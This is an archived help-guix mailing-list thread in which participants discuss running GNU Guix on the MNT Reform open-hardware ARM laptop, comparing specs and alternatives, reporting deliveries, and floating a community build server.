unofficial mirror of help-guix@gnu.org 
 help / color / mirror / Atom feed
* Guix on the MNT Reform
@ 2020-05-08 15:06 Christopher Lemmer Webber
  2020-05-08 18:19 ` Simon Josefsson
                   ` (6 more replies)
  0 siblings, 7 replies; 31+ messages in thread
From: Christopher Lemmer Webber @ 2020-05-08 15:06 UTC (permalink / raw)
  To: help-guix

I'm very excited to see the MNT Reform launch:

  https://www.crowdsupply.com/mnt/reform
  https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live

Completely hackable laptop; all the designs (that are possible) are
libre, and you can even 3d print to replace many of the parts.

However my impression is that running Guix on ARM is not necessarily
straightforward.  I haven't tried it yet.

Most important specs:

    CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
      1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
      module.
    RAM: 4GB LPDDR4 memory
    GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
      2.1, ES 2.0

(My other main worry is: that's pretty light on RAM these days...!
But hey, maybe incentive for me to cut the fat in the programs I use a
bit more...)

I am thinking of getting one and running Guix on it.  It would be nice
to know that I wouldn't be alone. :)  Anyone else planning to get one
and joing me on the journey on maybe the most hacker-oriented laptop
ever?

 - Chris


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
@ 2020-05-08 18:19 ` Simon Josefsson
  2020-05-09 13:03   ` Christopher Lemmer Webber
  2020-05-08 18:30 ` Ekaitz Zarraga
                   ` (5 subsequent siblings)
  6 siblings, 1 reply; 31+ messages in thread
From: Simon Josefsson @ 2020-05-08 18:19 UTC (permalink / raw)
  To: Christopher Lemmer Webber; +Cc: help-guix

[-- Attachment #1: Type: text/plain, Size: 789 bytes --]

Christopher Lemmer Webber <cwebber@dustycloud.org> writes:

> I'm very excited to see the MNT Reform launch:
>
>   https://www.crowdsupply.com/mnt/reform
>   https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>
> Completely hackable laptop; all the designs (that are possible) are
> libre, and you can even 3d print to replace many of the parts.

It looks quite expensive.  Did you look at the Pinebook Pro?

https://www.pine64.org/pinebook-pro/
https://store.pine64.org/?product=14%e2%80%b3-pinebook-pro-linux-laptop-64gb-emmc-iso-keyboard-estimated-dispatch-in-october-2019

I have ordered their Rockpro64 single-board computer to start Guix
experimentation on it.  It is an arm64 platform.

https://store.pine64.org/?product=rockpro64-4gb-single-board-computer

/Simon

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 227 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
  2020-05-08 18:19 ` Simon Josefsson
@ 2020-05-08 18:30 ` Ekaitz Zarraga
  2020-05-08 18:52 ` Vagrant Cascadian
                   ` (4 subsequent siblings)
  6 siblings, 0 replies; 31+ messages in thread
From: Ekaitz Zarraga @ 2020-05-08 18:30 UTC (permalink / raw)
  To: Christopher Lemmer Webber; +Cc: help-guix

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐
On Friday, May 8, 2020 5:06 PM, Christopher Lemmer Webber <cwebber@dustycloud.org> wrote:

> I'm very excited to see the MNT Reform launch:
>
> https://www.crowdsupply.com/mnt/reform
> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>
> Completely hackable laptop; all the designs (that are possible) are
> libre, and you can even 3d print to replace many of the parts.
>
> However my impression is that running Guix on ARM is not necessarily
> straightforward. I haven't tried it yet.
>
> Most important specs:
>
> CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
> 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
> module.
> RAM: 4GB LPDDR4 memory
> GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
> 2.1, ES 2.0
>
> (My other main worry is: that's pretty light on RAM these days...!
> But hey, maybe incentive for me to cut the fat in the programs I use a
> bit more...)
>
> I am thinking of getting one and running Guix on it. It would be nice
> to know that I wouldn't be alone. :) Anyone else planning to get one
> and joing me on the journey on maybe the most hacker-oriented laptop
> ever?
>
> -   Chris

Hey Chris,

It's a great project, I've been checking the schematics and stuff myself and I liked it a lot. It's a great reference design to build on top of.
I can't afford one atm but I can do my best to help you play with it.
I'm really interested on if it's able to run Guix and I'd like to know about your experience with it.

Please keep me posted on your journey!

Best,
Ekaitz


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
  2020-05-08 18:19 ` Simon Josefsson
  2020-05-08 18:30 ` Ekaitz Zarraga
@ 2020-05-08 18:52 ` Vagrant Cascadian
  2020-05-08 19:16   ` Leo Famulari
  2020-05-08 20:44 ` John Soo
                   ` (3 subsequent siblings)
  6 siblings, 1 reply; 31+ messages in thread
From: Vagrant Cascadian @ 2020-05-08 18:52 UTC (permalink / raw)
  To: Christopher Lemmer Webber, help-guix

[-- Attachment #1: Type: text/plain, Size: 1612 bytes --]

On 2020-05-08, Christopher Lemmer Webber wrote:
> I'm very excited to see the MNT Reform launch:
>
>   https://www.crowdsupply.com/mnt/reform
>   https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
...
> Most important specs:
>
>     CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
>       1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
>       module.

The A53 cores are going to seem quite slow for guix, I would guess.
I've run guix on a pinebook and pine64+ which also have quad-core A53
(although from a different vendor and less RAM) and the CPU was quite
slow...

On the plus side, the A53 cores are immune to most spectre/meltdown
attacks!


>     RAM: 4GB LPDDR4 memory
>     GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
>       2.1, ES 2.0
>
> (My other main worry is: that's pretty light on RAM these days...!
> But hey, maybe incentive for me to cut the fat in the programs I use a
> bit more...)

4GB is fairly useable with guix on the Pinebook Pro, though it has some
faster CPU cores as well.


> I am thinking of getting one and running Guix on it.  It would be nice
> to know that I wouldn't be alone. :)  Anyone else planning to get one
> and joing me on the journey on maybe the most hacker-oriented laptop
> ever?

It's very tempting, but I have too many barely working experimental
laptops already... and the price tag is a bit high. That the various
parts are upgradable, at least in theory, is quite nice!

I'd be curious what the power consumption profile is like at idle and
full load...


live well,
  vagrant

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 227 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 18:52 ` Vagrant Cascadian
@ 2020-05-08 19:16   ` Leo Famulari
  0 siblings, 0 replies; 31+ messages in thread
From: Leo Famulari @ 2020-05-08 19:16 UTC (permalink / raw)
  To: Vagrant Cascadian; +Cc: help-guix

On Fri, May 08, 2020 at 11:52:51AM -0700, Vagrant Cascadian wrote:
> On the plus side, the A53 cores are immune to most spectre/meltdown
> attacks!

Yes, a mixed blessing, to be sure! Cortex-A53 is an in-order CPU design.


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
                   ` (2 preceding siblings ...)
  2020-05-08 18:52 ` Vagrant Cascadian
@ 2020-05-08 20:44 ` John Soo
  2020-09-02 22:22 ` Andreas Enge
                   ` (2 subsequent siblings)
  6 siblings, 0 replies; 31+ messages in thread
From: John Soo @ 2020-05-08 20:44 UTC (permalink / raw)
  To: Christopher Lemmer Webber; +Cc: help-guix

Hey there,

I am definitely interested in the Reform. Can we see if we can work out something in advance? The ship date is tentatively in December 2020.

- John

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 18:19 ` Simon Josefsson
@ 2020-05-09 13:03   ` Christopher Lemmer Webber
  0 siblings, 0 replies; 31+ messages in thread
From: Christopher Lemmer Webber @ 2020-05-09 13:03 UTC (permalink / raw)
  To: Simon Josefsson; +Cc: help-guix

Simon Josefsson writes:

> Christopher Lemmer Webber <cwebber@dustycloud.org> writes:
>
>> I'm very excited to see the MNT Reform launch:
>>
>>   https://www.crowdsupply.com/mnt/reform
>>   https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>>
>> Completely hackable laptop; all the designs (that are possible) are
>> libre, and you can even 3d print to replace many of the parts.
>
> It looks quite expensive.  Did you look at the Pinebook Pro?
>
> https://www.pine64.org/pinebook-pro/
> https://store.pine64.org/?product=14%e2%80%b3-pinebook-pro-linux-laptop-64gb-emmc-iso-keyboard-estimated-dispatch-in-october-2019
>
> I have ordered their Rockpro64 single-board computer to start Guix
> experimentation on it.  It is an arm64 platform.
>
> https://store.pine64.org/?product=rockpro64-4gb-single-board-computer
>
> /Simon

The Pinebook Pro is definitely amazingly cheap.

The MNT Reform is trying to aim for something else though: something
easily repairable and continuable by the community.


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
                   ` (3 preceding siblings ...)
  2020-05-08 20:44 ` John Soo
@ 2020-09-02 22:22 ` Andreas Enge
  2020-09-13 14:10   ` Andreas Enge
  2021-08-17 17:24 ` Christine Lemmer-Webber
  2021-08-18  0:36 ` Jonathan McHugh
  6 siblings, 1 reply; 31+ messages in thread
From: Andreas Enge @ 2020-09-02 22:22 UTC (permalink / raw)
  To: Christopher Lemmer Webber; +Cc: help-guix

Hello Chris,

On Fri, May 08, 2020 at 11:06:04AM -0400, Christopher Lemmer Webber wrote:
> I'm very excited to see the MNT Reform launch:

thanks for bringing it to my attention! It looks quite exciting indeed.

> However my impression is that running Guix on ARM is not necessarily
> straightforward.  I haven't tried it yet.

I have been using it on a Novena (which has the "predecessor" board i.MX6,
a 32 bit architecture, and does feel very slow; I am assuming the new board
will be much faster), and on the Overdrive, which we use as a build server. 
Guix as a package manager is easy, but I am not very knowledgeable on how to
install the complete system.

From what I understand, they use a stock Linux 5.7.0 kernel and publish
a kernel config file; we should be able to produce this for Guix with
linux-libre.

>     CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
>       1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
>       module.
>     RAM: 4GB LPDDR4 memory
>     GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
>       2.1, ES 2.0
> (My other main worry is: that's pretty light on RAM these days...!
> But hey, maybe incentive for me to cut the fat in the programs I use a
> bit more...)

There is a project to develop an LS1028A module with two A72 cores and
up to 16 GB RAM:
   https://nlnet.nl/project/MNT-Reform/
It is expected to be more expensive and to not be available before next year.
So maybe it will be possible to upgrade, depending on how long the adventure
will last - I was a bit disappointed that the Novena has been a one-shot
experience. And there is the EOMA68, which has not materialised.

Oh, and one big drawback: The HDMI output requires a proprietary firmware
blob. Given that I am using my laptop mainly for working attached to a
large screen, that is a big problem.

Since you posted your message, there has been a librelounge podcast, which
I have not yet listened to:
   https://librelounge.org/episodes/39-mnt-reform-with-lukas-hartmann.html

Andreas



^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-09-02 22:22 ` Andreas Enge
@ 2020-09-13 14:10   ` Andreas Enge
  2020-09-15  3:23     ` Fredrik Salomonsson
  0 siblings, 1 reply; 31+ messages in thread
From: Andreas Enge @ 2020-09-13 14:10 UTC (permalink / raw)
  To: Christopher Lemmer Webber; +Cc: help-guix

On Thu, Sep 03, 2020 at 12:22:27AM +0200, Andreas Enge wrote:
> On Fri, May 08, 2020 at 11:06:04AM -0400, Christopher Lemmer Webber wrote:
> > I'm very excited to see the MNT Reform launch:
> thanks for bringing it to my attention! It looks quite exciting indeed.

And I just ordered one through work. Judging by the postings on Mastodon,
it looks like it will be delivered on time, still this year.

Are there other Guix users who ordered such a machine?

Andreas



^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-09-13 14:10   ` Andreas Enge
@ 2020-09-15  3:23     ` Fredrik Salomonsson
  0 siblings, 0 replies; 31+ messages in thread
From: Fredrik Salomonsson @ 2020-09-15  3:23 UTC (permalink / raw)
  To: Andreas Enge, Christopher Lemmer Webber; +Cc: help-guix


Hi Andreas,

Andreas Enge <andreas@enge.fr> writes:

> Are there other Guix users who ordered such a machine?

I was debating it back and forth after I saw the first email from
Christopher. And a week or so before they reached their goal I took the
plunge and ordered one. Should be a fun laptop to hack on.


-- 
s/Fred[re]+i[ck]+/Fredrik/g


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
                   ` (4 preceding siblings ...)
  2020-09-02 22:22 ` Andreas Enge
@ 2021-08-17 17:24 ` Christine Lemmer-Webber
  2021-08-17 23:49   ` Fredrik Salomonsson
  2021-08-18  0:36 ` Jonathan McHugh
  6 siblings, 1 reply; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-08-17 17:24 UTC (permalink / raw)
  Cc: help-guix

Hi!  Well my MNT Reform arrived.  I'd like to start putting Guix on it
but I'm kind of low on time right now...

I wonder if anyone else has started making progress towards this?

What I'd love: a tutorial that says "here are the steps to make an sd
card you can boot your reform with"!


Christopher Lemmer Webber writes:

> I'm very excited to see the MNT Reform launch:
>
>   https://www.crowdsupply.com/mnt/reform
>   https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>
> Completely hackable laptop; all the designs (that are possible) are
> libre, and you can even 3d print to replace many of the parts.
>
> However my impression is that running Guix on ARM is not necessarily
> straightforward.  I haven't tried it yet.
>
> Most important specs:
>
>     CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
>       1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
>       module.
>     RAM: 4GB LPDDR4 memory
>     GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
>       2.1, ES 2.0
>
> (My other main worry is: that's pretty light on RAM these days...!
> But hey, maybe incentive for me to cut the fat in the programs I use a
> bit more...)
>
> I am thinking of getting one and running Guix on it.  It would be nice
> to know that I wouldn't be alone. :)  Anyone else planning to get one
> and joing me on the journey on maybe the most hacker-oriented laptop
> ever?
>
>  - Chris



^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-17 17:24 ` Christine Lemmer-Webber
@ 2021-08-17 23:49   ` Fredrik Salomonsson
  2021-09-05  1:31     ` Christine Lemmer-Webber
  0 siblings, 1 reply; 31+ messages in thread
From: Fredrik Salomonsson @ 2021-08-17 23:49 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

Hi Chris,

Christine Lemmer-Webber <cwebber@dustycloud.org> writes:

> Hi!  Well my MNT Reform arrived.  I'd like to start putting Guix on it
> but I'm kind of low on time right now...

I got mine last week!

> I wonder if anyone else has started making progress towards this?

> What I'd love: a tutorial that says "here are the steps to make an sd
> card you can boot your reform with"!

I'm planning to start hacking on that once I've found a NVMe that works.
The XPG SX8200 Pro 1TB I bought for it had serious issues with access
times. Next up is to buy a WD Blue SN550 1TB and hopefully that will
work.

-- 
s/Fred[re]+i[ck]+/Fredrik/g


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
                   ` (5 preceding siblings ...)
  2021-08-17 17:24 ` Christine Lemmer-Webber
@ 2021-08-18  0:36 ` Jonathan McHugh
  2021-08-29 19:10   ` Joshua Branson
  2021-08-29 21:38   ` Jonathan McHugh
  6 siblings, 2 replies; 31+ messages in thread
From: Jonathan McHugh @ 2021-08-18  0:36 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

I hope you are enjoying the mechanical keyboard, it seems great!

====================
Jonathan McHugh
indieterminacy@libre.brussels

August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote:

> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it
> but I'm kind of low on time right now...
> 
> I wonder if anyone else has started making progress towards this?
> 
> What I'd love: a tutorial that says "here are the steps to make an sd
> card you can boot your reform with"!
> 
> Christopher Lemmer Webber writes:
> 
>> I'm very excited to see the MNT Reform launch:
>> 
>> https://www.crowdsupply.com/mnt/reform
>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>> 
>> Completely hackable laptop; all the designs (that are possible) are
>> libre, and you can even 3d print to replace many of the parts.
>> 
>> However my impression is that running Guix on ARM is not necessarily
>> straightforward. I haven't tried it yet.
>> 
>> Most important specs:
>> 
>> CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz),
>> 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized
>> module.
>> RAM: 4GB LPDDR4 memory
>> GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL
>> 2.1, ES 2.0
>> 
>> (My other main worry is: that's pretty light on RAM these days...!
>> But hey, maybe incentive for me to cut the fat in the programs I use a
>> bit more...)
>> 
>> I am thinking of getting one and running Guix on it. It would be nice
>> to know that I wouldn't be alone. :) Anyone else planning to get one
>> and joing me on the journey on maybe the most hacker-oriented laptop
>> ever?
>> 
>> - Chris


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-18  0:36 ` Jonathan McHugh
@ 2021-08-29 19:10   ` Joshua Branson
  2021-08-29 21:38   ` Jonathan McHugh
  1 sibling, 0 replies; 31+ messages in thread
From: Joshua Branson @ 2021-08-29 19:10 UTC (permalink / raw)
  To: Jonathan McHugh; +Cc: Christine Lemmer-Webber, help-guix

"Jonathan McHugh" <indieterminacy@libre.brussels> writes:

> I hope you are enjoying the mechanical keyboard, it seems great!
>

The MNT reform does seem like my dream laptop.  I do want a mechanical
keyboard.  What's the max RAM on the reform?  I thought it was 4GB?
Sounds pretty low...

Though I do like what Luke Leighton is doing with the power SOC/GPU.

> ====================
> Jonathan McHugh
> indieterminacy@libre.brussels
>
> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote:
>
>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it
>> but I'm kind of low on time right now...
>>
>> I wonder if anyone else has started making progress towards this?
>>
>> What I'd love: a tutorial that says "here are the steps to make an sd
>> card you can boot your reform with"!
>>
>> Christopher Lemmer Webber writes:
>>
>>> I'm very excited to see the MNT Reform launch:
>>>
>>> https://www.crowdsupply.com/mnt/reform
>>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>>>
>>> Completely hackable laptop; all the designs (that are possible) are
>>> libre, and you can even 3d print to replace many of the parts.
>>>
>

--
Joshua Branson (jab in #guix)
Sent from Emacs and Gnus
  https://gnucode.me
  https://video.hardlimit.com/accounts/joshua_branson/video-channels
  https://propernaming.org
  "You can have whatever you want, as long as you help
enough other people get what they want." - Zig Ziglar


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-18  0:36 ` Jonathan McHugh
  2021-08-29 19:10   ` Joshua Branson
@ 2021-08-29 21:38   ` Jonathan McHugh
  2021-08-29 23:27     ` Joshua Branson
  2021-08-30  9:02     ` Jonathan McHugh
  1 sibling, 2 replies; 31+ messages in thread
From: Jonathan McHugh @ 2021-08-29 21:38 UTC (permalink / raw)
  To: Joshua Branson; +Cc: help-guix

Hi Joshua,

The promise of a good laptop keyboard is making me reminisent of my old Sony VAIO GRV680 (still stored away for refashioning one day.... Admittedly it was more of a desktop replacement laptop than a lean setup.).

It does appear from the website that 4GB is the peak. It would be nice to take advantage of the open schematics and replace enough hardware to overcome this but that would be wasteful indulgence.

Personally, I probably should prioritise a solid desktop/server to handle more onerous chores (such as buildfarming and compiling). And also a superb external keyboard... and then wait until the wheels fall off one of my laptops machines.

Im still jealous of your 32GB Ram server, if you have enough ICT signal you may as well switch to a leaner laptop which interacts with your mothership.

FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking considerably. 

Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini capsule.
=> https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a-Linode-Server

Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric infrastructure.

Thanks for the pointer re Luke Leighton, i hope to investigate that down the road. Also, curious about the intersection between the MNT Reform team and Amiga hardware (extensions?).


Kind regards,


Jonathan


August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote:

> "Jonathan McHugh" <indieterminacy@libre.brussels> writes:
> 
>> I hope you are enjoying the mechanical keyboard, it seems great!
> 
> The MNT reform does seem like my dream laptop. I do want a mechanical
> keyboard. What's the max RAM on the reform? I thought it was 4GB?
> Sounds pretty low...
> 
> Though I do like what Luke Leighton is doing with the power SOC/GPU.
> 
>> ====================
>> Jonathan McHugh
>> indieterminacy@libre.brussels
>> 
>> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote:
>> 
>>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it
>>> but I'm kind of low on time right now...
>>> 
>>> I wonder if anyone else has started making progress towards this?
>>> 
>>> What I'd love: a tutorial that says "here are the steps to make an sd
>>> card you can boot your reform with"!
>>> 
>>> Christopher Lemmer Webber writes:
>> 
>> I'm very excited to see the MNT Reform launch:
>> 
>> https://www.crowdsupply.com/mnt/reform
>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>> 
>> Completely hackable laptop; all the designs (that are possible) are
>> libre, and you can even 3d print to replace many of the parts.
> 
> --
> Joshua Branson (jab in #guix)
> Sent from Emacs and Gnus
> https://gnucode.me
> https://video.hardlimit.com/accounts/joshua_branson/video-channels
> https://propernaming.org
> "You can have whatever you want, as long as you help
> enough other people get what they want." - Zig Ziglar


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-29 21:38   ` Jonathan McHugh
@ 2021-08-29 23:27     ` Joshua Branson
  2021-08-30  9:02     ` Jonathan McHugh
  1 sibling, 0 replies; 31+ messages in thread
From: Joshua Branson @ 2021-08-29 23:27 UTC (permalink / raw)
  To: Jonathan McHugh; +Cc: Christine Lemmer-Webber, help-guix

"Jonathan McHugh" <indieterminacy@libre.brussels> writes:

> Hi Joshua,
>
> It does appear from the website that 4GB is the peak. It would be nice
> to take advantage of the open schematics and replace enough hardware
> to overcome this but that would be wasteful indulgence.
>
> Personally, I probably should prioritise a solid desktop/server to
> handle more onerous chores (such as buildfarming and compiling). And
> also a superb external keyboard... and then wait until the wheels fall
> off one of my laptops machines.

I'm down for that!  I'm actually hoping to crowdfund/purchase a Raptor
server.  There's a local ISP in town here.  Most of the businesses use
it.  I could approach them and ask how much it would cost to host a
server at their property.  Then it's just a matter of convincing people
to help me raise $9,000.  Something like, let's get a Guix Power9 build
server that guix people can hack on.  If you give $10, you get a
guix.gnu.org/~username webpage/gemini webpage for a year.  If you donate
$20, you get the previous perks plus an email account and so on.  Would
you like to help me work on this?

>
> Im still jealous of your 32GB Ram server, if you have enough ICT
> signal you may as well switch to a leaner laptop which interacts with
> your mothership.

That 32GB RAM server is for sale!  For $200 I can sell it to you for
16GB of RAM.  For $300 I can sell it for 16GB of RAM.  If you live in
the U.S., shipping would be pretty easy.

>
> FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking considerably.
>
> Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini capsule.
> => https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a-Linode-Server

Haha.  Chris Lemmer-Webber wrote the guide.  I just put it in the
cookbook.  :)

>
> Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric infrastructure.
>
> Thanks for the pointer re Luke Leighton, i hope to investigate that
> down the road. Also, curious about the intersection between the MNT
> Reform team and Amiga hardware (extensions?).

I interview him a week or two ago?  He's got some really ambitious
plans for it.  He's also hiring for hardware/software developers.

https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67

(The video is also available on the non-free platform.  You know which
one).  :)

https://libre-soc.org/

>
> Kind regards,
>
> Jonathan
>
> August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote:
>
>> "Jonathan McHugh" <indieterminacy@libre.brussels> writes:
>>
>>> I hope you are enjoying the mechanical keyboard, it seems great!
>>
>> The MNT reform does seem like my dream laptop. I do want a mechanical
>> keyboard. What's the max RAM on the reform? I thought it was 4GB?
>> Sounds pretty low...
>>
>> Though I do like what Luke Leighton is doing with the power SOC/GPU.
>>
>>> ====================
>>> Jonathan McHugh
>>> indieterminacy@libre.brussels
>>>
>>> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote:
>>>
>>>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it
>>>> but I'm kind of low on time right now...
>>>>
>>>> I wonder if anyone else has started making progress towards this?
>>>>
>>>> What I'd love: a tutorial that says "here are the steps to make an sd
>>>> card you can boot your reform with"!
>>>>
>>>> Christopher Lemmer Webber writes:
>>>
>>> I'm very excited to see the MNT Reform launch:
>>>
>>> https://www.crowdsupply.com/mnt/reform
>>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live
>>>
>>> Completely hackable laptop; all the designs (that are possible) are
>>> libre, and you can even 3d print to replace many of the parts.
>>
>> --
>> Joshua Branson (jab in #guix)
>> Sent from Emacs and Gnus
>> https://gnucode.me
>> https://video.hardlimit.com/accounts/joshua_branson/video-channels
>> https://propernaming.org
>> "You can have whatever you want, as long as you help
>> enough other people get what they want." - Zig Ziglar

--
Joshua Branson (jab in #guix)
Sent from Emacs and Gnus
  https://gnucode.me
  https://video.hardlimit.com/accounts/joshua_branson/video-channels
  https://propernaming.org
  "You can have whatever you want, as long as you help
enough other people get what they want." - Zig Ziglar


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-08-29 21:38   ` Jonathan McHugh
  2021-08-29 23:27     ` Joshua Branson
@ 2021-08-30  9:02     ` Jonathan McHugh
  1 sibling, 0 replies; 31+ messages in thread
From: Jonathan McHugh @ 2021-08-30  9:02 UTC (permalink / raw)
  To: Joshua Branson; +Cc: help-guix

Hi Joshua,

That is excellent news. 

I will send you a private mail, as I now have a greater (indirect) interest in git repos being rapidly deployable - think TildeGit
=> https://tildegit.org/

OpenBSD Amsterdam has raised €14,395 for the OpenBSD Foundation through their VPS services (10 EUR VPS/PA 15 EUR VPS/renewal)
=> https://openbsd.amsterdam

I had a very positive experience with Mischa, who oversees that service.
=> https://mischapeters.com/

A OpenBSD friend has a high opinion of the implementation, mentioning that practical concerns mean that some facets are upstream of that OS. He should be approachable should you have any points of concern for your project. Who knows, maybe you can even do some cross selling for your respective services....)

As for me, I try to avoid actively consuming services operative within privacy repealing legislative domains (such a pity). However, you can still count me in for a small donation (woo, money for nowt!), certainly in reciprocation for this:
=> https://gnucode.me/make-money-contributing-to-gnu.html

I will first consider your server offer for a donation for my local hackerspace, HSBXL - though I dont know if the shipping fees (and custom charges) would counter the generosity. Focus may preclude me maintaining any pooled infrastructure there (I prefer banjaxing my setups instead), though I am negotiating greater input on forge management. Im the only Guix user at that coterie, so the hypervisor's governance would likely remain heterogenous (in lieu of its membership).

Nethertheless, your ambition does need replicating at an EEA level, Id like to be able to provide peripheral input (from 2022 at least). I may stalk Neutrinet meetups for stimulus and ideas.
=> https://neutrinet.be/

I look forward to viewing the interview (I used to interview musicians in a previous life, I miss the practice)
=> https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67

I shall pass on the gossip concerning Libre-Soc's positive growth (Im heartened to read that NLNet have seeded them)
=> https://libre-soc.org



====================
Jonathan McHugh
indieterminacy@libre.brussels

August 30, 2021 1:28 AM, "Joshua Branson" <jbranso@dismail.de> wrote:

> "Jonathan McHugh" <indieterminacy@libre.brussels> writes:
> 
>> Hi Joshua,
>> 
>> It does appear from the website that 4GB is the peak. It would be nice
>> to take advantage of the open schematics and replace enough hardware
>> to overcome this but that would be wasteful indulgence.
>> 
>> Personally, I probably should prioritise a solid desktop/server to
>> handle more onerous chores (such as buildfarming and compiling). And
>> also a superb external keyboard... and then wait until the wheels fall
>> off one of my laptops machines.
> 
> I'm down for that! I'm actually hoping to crowdfund/purchase a Raptor
> server. There's a local ISP in town here. Most of the businesses use
> it. I could approach them and ask how much it would cost to host a
> server at their property. Then it's just a matter of convincing people
> to help me raise $9,000. Something like, let's get a Guix Power9 build
> server that guix people can hack on. If you give $10, you get a
> guix.gnu.org/~username webpage/gemini webpage for a year. If you donate
> $20, you get the previous perks plus an email account and so on. Would
> you like to help me work on this?
> 
>> Im still jealous of your 32GB Ram server, if you have enough ICT
>> signal you may as well switch to a leaner laptop which interacts with
>> your mothership.
> 
> That 32GB RAM server is for sale! For $200 I can sell it to you for
> 16GB of RAM. For $300 I can sell it for 16GB of RAM. If you live in
> the U.S., shipping would be pretty easy.
> 
>> FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking
>> considerably.
>> 
>> Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini
>> capsule.
>> =>
>> https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a
>> Linode-Server
> 
> Haha. Chris Lemmer-Webber wrote the guide. I just put it in the
> cookbook. :)
> 
